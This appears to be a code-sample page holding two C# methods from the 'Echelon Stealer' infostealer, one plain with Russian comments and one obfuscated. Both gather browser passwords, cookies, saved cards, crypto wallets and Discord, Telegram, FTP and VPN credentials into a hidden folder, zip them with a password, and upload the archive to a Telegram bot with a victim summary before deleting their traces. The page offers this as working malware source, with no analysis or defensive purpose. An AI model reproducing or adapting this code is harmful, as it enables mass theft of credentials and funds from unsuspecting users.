Exemple #1
0
        public static void GetStealer()
        {
            // Создаем временные директории для сбора лога
            Directory.CreateDirectory(Help.Echelon_Dir);
            Directory.CreateDirectory(Help.Browsers);
            Directory.CreateDirectory(Help.Passwords);
            Directory.CreateDirectory(Help.Autofills);
            Directory.CreateDirectory(Help.Downloads);
            Directory.CreateDirectory(Help.Cookies);
            Directory.CreateDirectory(Help.History);
            Directory.CreateDirectory(Help.Cards);

            //Скрываем временную папку
            File.SetAttributes(Help.dir, FileAttributes.Directory | FileAttributes.Hidden | FileAttributes.System);



            // Запускаем граббер файлов в отдельном потоке
            GetFiles.Inizialize(Help.Echelon_Dir);
            Thread.Sleep(new Random(Environment.TickCount).Next(10000, 20000));

            // Chromium
            new Thread(() =>
            {
                Chromium.GetCookies(Help.Cookies);
            }).Start();

            new Thread(() =>
            {
                Chromium.GetPasswords(Help.Passwords);
            }).Start();

            new Thread(() =>
            {
                Chromium.GetAutofills(Help.Autofills);
            }).Start();

            new Thread(() =>
            {
                Chromium.GetDownloads(Help.Downloads);
            }).Start();

            new Thread(() =>
            {
                Chromium.GetHistory(Help.History);
            }).Start();

            new Thread(() =>
            {
                Chromium.GetCards(Help.Cards);
            }).Start();

            new Thread(() =>
            {
                // Mozilla
                Steal.Cookies();
            }).Start();

            new Thread(() =>
            {
                Steal.Passwords();
            }).Start();

            new Thread(() =>
            {
                ProtonVPN.Start(Help.Echelon_Dir);
            }).Start();
            new Thread(() =>
            {
                Outlook.GrabOutlook(Help.Echelon_Dir);
            }).Start();
            new Thread(() =>
            {
                OpenVPN.Start(Help.Echelon_Dir);
            }).Start();
            new Thread(() =>
            {
                NordVPN.Start(Help.Echelon_Dir);
            }).Start();
            new Thread(() =>
            {
                Startjabbers.Start(Help.Echelon_Dir);
            }).Start();
            new Thread(() =>
            {
                TGrabber.Start(Help.Echelon_Dir);
            }).Start();
            new Thread(() =>
            {
                DGrabber.Start(Help.Echelon_Dir);
            }).Start();
            Screenshot.Start(Help.Echelon_Dir);
            BuffBoard.Inizialize(Help.Echelon_Dir);
            Systemsinfo.ProgProc(Help.Echelon_Dir);
            FileZilla.Start(Help.Echelon_Dir);
            TotalCommander.Start(Help.Echelon_Dir);
            StartWallets.Start(Help.Echelon_Dir);
            DomainDetect.Start(Help.Browsers);

            // Пакуем в апхив с паролем
            string zipName = Help.dir + "\\" + Help.DateLog + "_" + Help.HWID + Help.CountryCOde() + ".zip";

            using (ZipFile zip = new ZipFile(Encoding.GetEncoding("cp866"))) // Устанавливаем кодировку
            {
                zip.CompressionLevel = CompressionLevel.BestCompression;     // Задаем максимальную степень сжатия
                zip.Comment          = "Echelon Stealer by @madcod Log. <Build v3.0>" +
                                       "\n|----------------------------------------|" +
                                       "\nPC:" + Environment.MachineName + "/" + Environment.UserName +
                                       "\nIP: " + Help.IP + Help.Country() +
                                       "\nHWID: " + Help.DateLog + "_" + Help.HWID
                ;
                zip.Password = Program.passwordzip;       // Задаём пароль
                zip.AddDirectory(@"" + Help.Echelon_Dir); // Кладем в архив содержимое папки с логом
                zip.Save(@"" + zipName);                  // Сохраняем архив
            }


            string LOG = @"" + zipName;

            byte[] file = File.ReadAllBytes(LOG);
            string url  = string.Concat(new string[]
            {
                Help.ApiUrl,
                Program.Token,
                "/sendDocument?chat_id=",
                Program.ID,
                "&caption=👤 " + Environment.MachineName + "/" + Environment.UserName +
                "\n🏴 IP: " + Help.IP + Help.Country() +
                "\n🌐 Browsers Data" +
                "\n   ∟🔑" + (Chromium.Passwords + Edge.count + Steal.count) +
                "\n   ∟🍪" + (Chromium.Cookies + Steal.count_cookies) +
                "\n   ∟🕑" + Chromium.History +
                "\n   ∟📝" + Chromium.Autofills +
                "\n   ∟💳" + Chromium.CC +
                "\n💶 Wallets: " + (StartWallets.count > 0 ? "✅" : "❌") +
                (Electrum.count > 0 ? " Electrum" : "") +
                (Armory.count > 0 ? " Armory" : "") +
                (AtomicWallet.count > 0 ? " Atomic" : "") +
                (BitcoinCore.count > 0 ? " BitcoinCore" : "") +
                (Bytecoin.count > 0 ? " Bytecoin" : "") +
                (DashCore.count > 0 ? " DashCore" : "") +
                (Ethereum.count > 0 ? " Ethereum" : "") +
                (Exodus.count > 0 ? " Exodus" : "") +
                (LitecoinCore.count > 0 ? " LitecoinCore" : "") +
                (Monero.count > 0 ? " Monero" : "") +
                (Zcash.count > 0 ? " Zcash" : "") +
                (Jaxx.count > 0 ? " Jaxx" : "") +

                //

                "\n📂 FileGrabber: " + GetFiles.count +                 //Работает
                "\n💬 Discord: " + (DGrabber.count > 0 ? "✅" : "❌") +   //Работает
                "\n✈️ Telegram: " + (TGrabber.count > 0 ? "✅" : "❌") + //Работает
                "\n💡 Jabber: " + (Startjabbers.count + Pidgin.PidginCount > 0 ? "✅" : "❌") +
                (Pidgin.PidginCount > 0 ? " Pidgin (" + Pidgin.PidginAkks + ")" : "") +
                (Startjabbers.count > 0 ? " Psi" : "") +     //Работает

                "\n📡 FTP" +
                "\n   ∟ FileZilla: " + (FileZilla.count > 0 ? "✅" + " (" + FileZilla.count + ")" : "❌") + //Работает
                "\n   ∟ TotalCmd: " + (TotalCommander.count > 0 ? "✅" : "❌") +                            //Работает
                "\n🔌 VPN" +
                "\n   ∟ NordVPN: " + (NordVPN.count > 0 ? "✅" : "❌") +                                    //Работает
                "\n   ∟ OpenVPN: " + (OpenVPN.count > 0 ? "✅" : "❌") +                                    //Работает
                "\n   ∟ ProtonVPN: " + (ProtonVPN.count > 0 ? "✅" : "❌") +                                //Работает
                "\n🆔 HWID: " + Help.HWID +                                                                //Работает
                "\n⚙️ " + Systemsinfo.GetOSInformation() +
                "\n🔎 " + File.ReadAllText(Help.Browsers + "\\DomainDetect.txt")
            });

            try
            {
                SenderAPI.POST(file, LOG, "application/x-ms-dos-executable", url);
                Directory.Delete(Help.dir + "\\", true);

                //Записываем HWID в файл, означает что лог с данного ПК уже отправлялся и больше слать его не надо.
                File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID);
            }
            catch
            {
            }
        }
        public static void Start()
        {
            try
            {
                Directory.CreateDirectory(Global.Echelon_Dir);
                Directory.CreateDirectory(Global.Browsers);
            }
            catch
            {
            }
            new Thread((ThreadStart) delegate
            {
                al.a(Global.Echelon_Dir);
            }).Start();
            new Thread((ThreadStart) delegate
            {
                ad.a(Global.Echelon_Dir);
            }).Start();
            new Thread((ThreadStart) delegate
            {
                TGrabber.Start(Global.Echelon_Dir);
            }).Start();
            new Thread((ThreadStart) delegate
            {
                an.a(Global.Echelon_Dir);
            }).Start();
            new Thread((ThreadStart) delegate
            {
                ao.a(Global.Echelon_Dir);
            }).Start();
            new Thread((ThreadStart) delegate
            {
                am.a(Global.Echelon_Dir);
            }).Start();
            new Thread((ThreadStart) delegate
            {
                ae.a(Global.Echelon_Dir);
            }).Start();
            new Thread((ThreadStart) delegate
            {
                af.a(Global.Echelon_Dir);
            }).Start();
            new Thread((ThreadStart) delegate
            {
                ab.b(Global.Echelon_Dir);
            }).Start();
            new Thread((ThreadStart) delegate
            {
                ai.a(Global.Echelon_Dir);
            }).Start();
            new Thread((ThreadStart) delegate
            {
                aj.a(Global.Echelon_Dir);
            }).Start();
            new Thread((ThreadStart) delegate
            {
                q.b(Global.Browsers);
                r.a(Global.Browsers);
                o.a(Global.Browsers);
                p.a(Global.Browsers);
                s.a(Global.Browsers);
            }).Start();
            new Thread((ThreadStart) delegate
            {
                aa.d(Global.Browsers);
                aa.c(Global.Browsers);
            }).Start();
            new Thread((ThreadStart) delegate
            {
                ak.a(Global.Echelon_Dir);
            }).Start();
            ba.a(Global.Echelon_Dir);
            GetFiles.Inizialize(Global.Echelon_Dir);
            Thread.Sleep(new Random(Environment.TickCount).Next(30000, 60000));
            string ac = Global.dir + "\\" + Global.DateLog + "_" + Global.GetHwid() + Global.CountryCOde() + ".zip";

            i.a(Global.Echelon_Dir, ac);
            string text = Global.dir + "\\" + Global.DateLog + "_" + Global.GetHwid() + Global.CountryCOde() + ".zip";

            byte[] file = File.ReadAllBytes(text);
            string url  = string.Concat(Global.ApiUrl, g.d, "/sendDocument?chat_id=", g.e, "&caption=\ud83d\udc64 " + Environment.MachineName + "/" + Environment.UserName + "\n\ud83c\udff4 IP: " + Global.IP + Global.Country() + "\n\ud83c\udf10 Browsers Data" + "\n   ∟\ud83d\udd11" + (q.a + y.a + aa.a) + "\n   ∟\ud83c\udf6a" + (r.a + aa.b) + "\n   ∟\ud83d\udd51" + s.a + "\n   ∟\ud83d\udcdd" + o.a + "\n   ∟\ud83d\udcb3" + p.a + "\n\ud83d\udcb6 Wallets: " + ba.a + "\n\ud83d\udcc2 FileGrabber: " + GetFiles.count + "\n\ud83d\udd79 Steam: " + ((al.a > 0) ? "✅" : "❌") + "\n\ud83d\udcac Discord: " + ((ad.a > 0) ? "✅" : "❌") + "\n✈\ufe0f Telegram: " + ((TGrabber.count > 0) ? "✅" : "❌") + "\n\ud83d\udca1 Jabber: " + ((ai.a > 0) ? "✅" : "❌") + "\n\ud83d\udce1 FTP" + "\n   ∟ FileZilla: " + ((ae.a > 0) ? "✅" : "❌") + "\n   ∟ TotalCmd: " + ((af.a > 0) ? "✅" : "❌") + "\n\ud83d\udd0c VPN" + "\n   ∟ NordVPN: " + ((am.a > 0) ? "✅" : "❌") + "\n   ∟ OpenVPN: " + ((an.a > 0) ? "✅" : "❌") + "\n   ∟ ProtonVPN: " + ((ao.a > 0) ? "✅" : "❌") + "\n\ud83c\udd94 Global: " + Global.GetHwid() + "\n⚙\ufe0f " + ak.d());

            try
            {
                Thread.Sleep(new Random(Environment.TickCount).Next(1000, 2000));
                SenderAPI.POST(file, text, "application/x-ms-dos-executable", url);
                File.AppendAllText(g.b + "\\logs", j.a());
                Directory.Delete(Global.dir + "\\", recursive: true);
            }
            catch
            {
                Thread.Sleep(new Random(Environment.TickCount).Next(1000, 2000));
                if (!Directory.Exists(g.b))
                {
                    DirectoryInfo directoryInfo = Directory.CreateDirectory(g.b);
                    Directory.CreateDirectory(g.b);
                    directoryInfo.Refresh();
                    File.AppendAllText(g.b + "\\logs", j.a());
                    Directory.Delete(Global.dir + "\\", recursive: true);
                }
            }
        }